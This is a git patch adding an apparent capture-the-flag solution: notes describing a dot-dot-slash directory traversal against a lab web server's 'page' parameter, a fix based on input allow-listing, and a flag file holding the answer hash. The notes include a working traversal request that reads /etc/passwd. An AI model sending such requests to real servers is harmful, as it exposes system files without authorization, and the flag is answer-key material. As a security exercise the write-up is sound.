From 86693ac50c3757ea52c8cc5b4c6b5ecc606db066 Mon Sep 17 00:00:00 2001 From: Thomas Vanbesien Date: Fri, 27 Mar 2026 11:25:49 +0100 Subject: Add directory traversal (dot-dot-slash) solution --- Directory traversal/Resources/notes.md | 8 ++++++++ Directory traversal/flag | 1 + 2 files changed, 9 insertions(+) create mode 100644 Directory traversal/Resources/notes.md create mode 100644 Directory traversal/flag diff --git a/Directory traversal/Resources/notes.md b/Directory traversal/Resources/notes.md new file mode 100644 index 0000000..d4068b8 --- /dev/null +++ b/Directory traversal/Resources/notes.md @@ -0,0 +1,8 @@ +## Exploit + +1. Pages being fetched with a query parameter `page` (`http://10.0.2.15/?page=somePage`) expose the server to dot-dot-slash attack. +1. We get the flag by requesting `http://10.0.2.15/?page=../../../../../../../etc/passwd` + +## Fix + +The problem is letting users directly input files to be included/read. Such input must be sanitized, with for example a strict list of allowed values, or rejecting input containing `../`. diff --git a/Directory traversal/flag b/Directory traversal/flag new file mode 100644 index 0000000..6048b78 --- /dev/null +++ b/Directory traversal/flag @@ -0,0 +1 @@ +b12c4b2cb8094750ae121a676269aa9e2872d07c06e429d25a63196ec1c8c1d0 -- cgit v1.2.3